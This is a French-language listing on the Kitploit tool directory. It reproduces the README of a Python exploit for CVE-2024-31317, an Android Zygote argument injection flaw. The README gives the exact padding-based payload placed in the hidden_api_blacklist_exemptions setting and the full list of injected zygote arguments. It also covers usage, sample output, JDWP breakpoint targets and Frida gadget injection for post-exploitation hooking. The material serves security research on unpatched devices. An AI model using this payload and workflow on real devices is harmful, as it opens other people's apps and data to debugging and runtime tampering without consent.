Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Exploit d'application débogable | Kitploit
Outils/GitHubGitHub/cleov2/debuggable-app-exploit
Sécurité AndroidAnalyse des VulnérabilitésExploitationFuzzingSécurité MobileApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Exploit d'application débogable

Voir le dépôt
123il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-31317 Exploit d'application débogable

Un exploit basé sur Python pour CVE-2024-31317 (injection Zygote Android) qui rend toute application Android installée débogable en injectant des arguments zygote malveillants via le paramètre hidden_api_blacklist_exemptions. Inclut une injection optionnelle du gadget Frida pour le hooking runtime.

Aperçu

Cet exploit exploite une vulnérabilité d'injection de commande dans le processus Zygote d'Android pour lancer les applications cibles avec le flag debuggable activé. Cela permet le débogage JDWP et l'inspection de toute application sans nécessiter d'accès root ni la version debug de l'application.

Basé sur les recherches de : Analyse de CVE-2024-31317 par Flanker

Information clé : "le champ runtime-flags dans ZygoteArguments peut en réalité être utilisé pour activer l'attribut débogable d'une application."

Fonctionnalités

  • Mode de détection automatique - Détecte automatiquement l'UID, le jeu d'instructions et le répertoire de données de l'application cible
  • Injection du flag débogable - Définit runtime-flags=65535 pour activer le débogage
  • Redirection JDWP - Configure automatiquement la redirection de port JDWP après l'exploit
  • Injection du gadget Frida - Injecte optionnellement Frida pour le hooking runtime via JDWP
  • Points d'arrêt intelligents - Utilise des points d'arrêt fiables qui se déclenchent automatiquement sans interaction utilisateur
  • Installation automatique de l'application debug - Installe l'application auxiliaire si elle n'est pas présente

Prérequis

  • Appareil Android vulnérable à CVE-2024-31317 (correctif de sécurité antérieur à juin 2024)
  • ADB installé et débogage USB activé
  • Python 3.10+
  • Paquets requis : ppadb, jdwplib

Installation

Placez les fichiers suivants dans le même répertoire :

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # Script d'exploit principal
├── jdwplib.py                       # Bibliothèque cliente JDWP
├── app-debug.apk                    # Application auxiliaire débogable
├── frida-gadget-android-*.so        # Gadget Frida (optionnel)
├── frida-gadget.config.so           # Configuration Frida (optionnel)
└── win32/adb.exe                    # Binaire ADB Windows

Utilisation

Utilisation de base

root@kitploit:~
python CVE-2024-31317-Debuggable.py

Le script vous demandera de choisir un mode de détection des paramètres :

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Détection automatique des paramètres
[2] Valeurs codées en dur

Mode (1/2) [1] :

Ce qu'il fait

  1. Phase 1 : Extraction de startSeq

    • Lance une application auxiliaire débogable
    • Se connecte via JDWP et extrait la valeur startSeq des trames de pile
    • Ferme l'application auxiliaire
  2. Phase 2 : Injection des arguments Zygote

    • Construit des arguments zygote malveillants avec runtime-flags=65535 (débogable)
    • Injecte la charge utile dans le paramètre hidden_api_blacklist_exemptions
    • Force l'arrêt et le redémarrage de l'application cible avec les arguments injectés
  3. Phase 3 : Post-exploitation

    • Configure la redirection de port JDWP
    • Injecte optionnellement le gadget Frida pour le hooking runtime

Exemple de sortie

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Détection automatique des paramètres
[2] Valeurs codées en dur

Mode (1/2) [1] : 1

[INFO] Phase 1 : Extraction de startSeq
[INFO] com.debug.app déjà installée
[INFO] Activation du débogage
[INFO] Démarrage de com.debug.app/.MainActivity
[INFO] PID : 12345
[INFO] Port JDWP : 8700
[INFO] Suspension de la VM
[INFO] Analyse de 42 trames
[INFO] startSeq : 123456
[INFO] Phase 2 : Exploitation de com.debug.configurator
[INFO] Détection des paramètres pour com.debug.configurator
[INFO] UID : 10242
[INFO] Architecture : arm64
[INFO] Données : /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Charge utile : 8765 octets
[INFO] Redémarrage de la cible
[INFO] Terminé
[INFO] PID cible : 23456
[INFO] JDWP : 8701

Injecter Frida ? (o/N) :

Configuration

Application cible

Modifiez les constantes en haut du script :

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # Remplacez par votre paquet cible
DEBUG_APP = "com.debug.app"            # Application auxiliaire débogable
DEBUG_APK = "app-debug.apk"            # Fichier APK de l'application auxiliaire

Détection automatique vs codé en dur

Mode de détection automatique (recommandé) :

  • Utilise pm list packages -U pour obtenir l'UID
  • Utilise dumpsys package pour obtenir le jeu d'instructions et le répertoire de données
  • Plus fiable sur différents appareils

Mode codé en dur :

  • Utilise des valeurs par défaut (UID=10242, arm64, etc.)
  • Plus rapide mais moins fiable si l'appareil diffère des valeurs par défaut

Injection du gadget Frida

Après la réussite de l'exploit, vous pouvez optionnellement injecter le gadget Frida :

root@kitploit:~
Injecter Frida ? (o/N) : o

Le script va :

  1. Pousser frida-gadget.so vers /data/local/tmp/
  2. Copier dans le répertoire de données de l'application via run-as
  3. Définir un point d'arrêt et charger le gadget via JDWP
  4. Rediriger les ports 27042 et 27043

Cibles des points d'arrêt

Le script essaie ces points d'arrêt par ordre de fiabilité :

Les points d'arrêt du haut devraient se déclencher automatiquement. En cas de timeout, appuyez sur l'application pour déclencher les points d'arrêt de secours.

Connexion à Frida

Après une injection réussie :

root@kitploit:~
# Connexion au gadget
frida -H 127.0.0.1:27042 -n Gadget

# Liste des processus
frida-ps -H 127.0.0.1:27042

Après l'exploitation

Une fois l'exploit réussi, l'application cible s'exécute avec le débogage activé :

  1. Connectez-vous avec un débogueur JDWP :

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Utilisez le débogueur Android Studio - Attachez-vous au processus sur le port redirigé

  3. Utilisez Frida - Si le gadget a été injecté via le script

Comment ça fonctionne

Aperçu de la vulnérabilité

CVE-2024-31317 est une vulnérabilité d'injection de commande dans le processus Zygote d'Android. En manipulant le paramètre système hidden_api_blacklist_exemptions avec une entrée spécialement conçue, nous pouvons injecter des arguments zygote arbitraires au démarrage d'une application.

Composants clés

  1. Extraction de startSeq : Chaque lancement d'application possède un numéro de séquence unique. Nous l'extrayons d'une application débogable via JDWP en inspectant les variables des trames de pile.

  2. Construction de la charge utile : Nous construisons des arguments zygote incluant :

    root@kitploit:~
    --runtime-args
    --setuid=<uid_cible>
    --setgid=<gid_cible>
    --runtime-flags=65535      # Active tous les flags de débogage
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<paquet>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<repertoire_donnees>
    --package-name=<paquet>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Injection : La charge utile est injectée dans le paramètre système avec un remplissage spécifique pour Android 12+ :

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. Déclenchement : Forcer l'arrêt et le redémarrage de l'application cible, qui se lance avec nos arguments injectés et le flag débogable activé.

Injection Frida via JDWP

L'injection Frida fonctionne en :

  1. Se connectant à l'application débogable via JDWP
  2. Définissant un point d'arrêt sur une méthode fréquemment appelée
  3. Lorsque le point d'arrêt est atteint, utilisant Runtime.load() pour charger la bibliothèque partagée du gadget Frida
  4. Le gadget s'initialise et commence à écouter sur le port 27042

Limitations

  • Fonctionne uniquement sur les appareils vulnérables à CVE-2024-31317 (correctif de sécurité antérieur à juin 2024)
  • Ce n'est pas un exploit root - fournit seulement un accès débogable à l'application cible
  • L'injection Frida nécessite que l'application soit en cours d'exécution et atteigne les points d'arrêt
  • Certaines applications fortement obscurcies peuvent résister au hooking Frida

Dépannage

"Échec de l'obtention de startSeq"

  • Assurez-vous que l'application de débogage est correctement signée et installable
  • Essayez d'exécuter l'exploit à nouveau

"Aucun point d'arrêt atteint" lors de l'injection Frida

  • Appuyez sur l'application pour déclencher les points d'arrêt tactiles/de dessin
  • Assurez-vous que l'application est au premier plan

Connexion Frida refusée

  • Vérifiez la redirection de port : adb forward --list
  • Relancez la redirection de port : adb forward tcp:27042 tcp:27042

Crédits

  • Flanker (flanker017) - Recherche originale et analyse détaillée de CVE-2024-31317
  • typlo - Extraits de code pour trouver startSeq via inspection JDWP
  • Anonymous941 - Implémentation de référence du kit d'injection Zygote
  • Meta X Red Team - Découverte et divulgation originales de la vulnérabilité

Références

  • Analyse détaillée de CVE-2024-31317 - Flanker
  • Avis de sécurité Meta
  • Article InfoSec Writeup
  • Kit d'injection Zygote d'Anonymous941
  • Documentation Frida

Avertissement

Cet outil est destiné uniquement à des fins éducatives et de recherche en sécurité autorisées. Utilisez-le uniquement sur des appareils vous appartenant ou pour lesquels vous avez une autorisation écrite explicite de test. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique. Les auteurs ne sont pas responsables de toute utilisation abusive de cet outil.

Licence

Licence MIT - Voir le fichier LICENSE pour plus de détails.

Télécharger l’outil
ClasseMéthodeDéclencheur
android.os.MessageQueuenextAuto - le looper principal interroge constamment
android.os.BinderexecTransactAuto - tout appel IPC/Binder
android.app.ActivityThreadhandleMessageAuto - gestionnaire principal de l'application
android.os.HandlerdispatchMessageAuto - distribution de messages
android.os.HandlerhandleMessageAuto - gestion des messages
android.view.ChoreographerdoFrameAuto - rappels de trames
android.view.ViewdispatchTouchEventManuel - nécessite un toucher
android.view.ViewonDrawManuel - nécessite un redessin de l'interface